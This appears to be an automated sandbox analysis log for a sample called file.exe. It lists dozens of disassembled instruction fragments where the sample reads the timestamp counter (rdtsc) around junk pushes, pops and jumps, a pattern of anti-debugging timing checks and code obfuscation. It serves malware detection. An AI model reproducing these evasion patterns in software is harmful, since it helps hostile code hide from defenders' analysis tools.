Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0569 second address: CC0571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0571 second address: CC0577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79097 second address: C7909B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0814 second address: CC0849 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F885CC87018h 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 jnp 00007F885CC87016h 0x00000017 pop ecx 0x00000018 jnc 00007F885CC8701Ch 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jne 00007F885CC87016h 0x00000029 ja 00007F885CC87016h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0849 second address: CC084D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC084D second address: CC0853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC13C5 second address: CC13E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jne 00007F885CB97C96h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F885CB97CA1h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC53DB second address: CC53FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 jo 00007F885CC87016h 0x0000000e jmp 00007F885CC8701Ah 0x00000013 pop edx 0x00000014 push edi 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC53FA second address: CC5407 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F885CB97C96h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4B82 second address: CC4B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4E21 second address: CC4E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4E27 second address: CC4E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F885CC87016h 0x0000000a popad 0x0000000b pop esi 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F885CC87016h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4E3C second address: CC4E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC88CE second address: CC88D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8A1C second address: CC8A46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CB97CA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F885CB97CBBh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F885CB97C9Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8A46 second address: CC8A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0406 second address: CD040F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD040F second address: CD0419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F885CC87016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0419 second address: CD0432 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CB97CA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0432 second address: CD0448 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F885CC87018h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e jns 00007F885CC87016h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE645 second address: CCE64B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE64B second address: CCE655 instructions: 0x00000000 rdtsc 0x00000002 js 00007F885CC87016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF513 second address: CCF51D instructions: 0x00000000 rdtsc 0x00000002 je 00007F885CB97C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF51D second address: CCF527 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F885CC8701Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF527 second address: CCF543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F885CB97C9Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F885CB97C96h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF543 second address: CCF547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFAB1 second address: CCFAB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFAB8 second address: CCFAC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD009F second address: CD00A9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F885CB97C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD00A9 second address: CD00AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD00AF second address: CD00C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F885CB97C9Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD00C0 second address: CD00CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD00CE second address: CD00D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD00D2 second address: CD00EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F885CC87020h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD00EE second address: CD00F8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F885CB97C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD00F8 second address: CD0109 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CC8701Ch 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD586C second address: CD5897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CB97CA0h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F885CB97CA1h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5897 second address: CD589F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD94B5 second address: CD94C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jng 00007F885CB97C96h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD94C7 second address: CD94CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD94CD second address: CD94D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F885CB97C96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD86D3 second address: CD86FF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F885CC87016h 0x00000008 jne 00007F885CC87016h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F885CC87022h 0x00000015 popad 0x00000016 jnl 00007F885CC8702Eh 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD86FF second address: CD8705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8705 second address: CD870E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8AFB second address: CD8B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8B01 second address: CD8B10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CC8701Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD91BF second address: CD920A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CB97CA8h 0x00000009 push ecx 0x0000000a jmp 00007F885CB97CA4h 0x0000000f pop ecx 0x00000010 popad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007F885CB97C96h 0x0000001a jmp 00007F885CB97C9Fh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDEFA7 second address: CDEFAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF118 second address: CDF12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 ja 00007F885CB97C9Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF12F second address: CDF133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF133 second address: CDF176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F885CB97C96h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F885CB97CA8h 0x00000014 jmp 00007F885CB97CA6h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF176 second address: CDF195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F885CC87026h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF195 second address: CDF199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF199 second address: CDF19F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF5B6 second address: CDF5BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF756 second address: CDF76A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F885CC87016h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF76A second address: CDF774 instructions: 0x00000000 rdtsc 0x00000002 js 00007F885CB97C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF774 second address: CDF77B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDFA4E second address: CDFA8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CB97CA0h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F885CB97CA3h 0x0000000e jmp 00007F885CB97CA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDFBEB second address: CDFC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F885CC87016h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F885CC87025h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDFD3A second address: CDFD44 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F885CB97C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE05D0 second address: CE05D6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0CBF second address: CE0CC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0CC5 second address: CE0CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F885CC8701Ch 0x0000000c jng 00007F885CC87016h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0CD7 second address: CE0CDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0CDD second address: CE0CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB488 second address: CEB4B2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F885CB97C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jnl 00007F885CB97CBFh 0x00000011 push edx 0x00000012 jmp 00007F885CB97C9Dh 0x00000017 jne 00007F885CB97C96h 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB4B2 second address: CEB4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB152 second address: CEB156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF38A6 second address: CF38C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jl 00007F885CC87016h 0x0000000c jmp 00007F885CC87027h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF38C9 second address: CF38E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F885CB97C9Eh 0x0000000e push edi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF38E5 second address: CF38EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF38EA second address: CF3923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F885CB97C96h 0x00000009 jmp 00007F885CB97CA3h 0x0000000e jmp 00007F885CB97CA8h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3923 second address: CF3927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD84D second address: CFD853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD853 second address: CFD864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CC8701Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD864 second address: CFD868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02660 second address: D0266B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0266B second address: D02671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06DC0 second address: D06DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06DC6 second address: D06DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06DCB second address: D06DD0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E365 second address: D0E36B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E36B second address: D0E37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F885CC8701Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E37F second address: D0E385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15ACA second address: D15AE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CC87029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15AE7 second address: D15AED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15AED second address: D15AF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15DD1 second address: D15DF2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F885CB97C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F885CB97C9Dh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F885CB97C96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15DF2 second address: D15E06 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F885CC87016h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F885CC87016h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D164D9 second address: D164DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D164DD second address: D164E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D164E3 second address: D164F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 je 00007F885CB97C96h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16EC3 second address: D16EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F885CC87029h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19E1D second address: D19E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19A26 second address: D19A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CC87022h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1EF0C second address: D1EF2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F885CB97CADh 0x0000000b jmp 00007F885CB97CA7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32FDE second address: D32FE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47AF8 second address: D47AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47AFE second address: D47B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47B04 second address: D47B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CB97CA2h 0x00000009 popad 0x0000000a jno 00007F885CB97C98h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47B23 second address: D47B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46B37 second address: D46B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
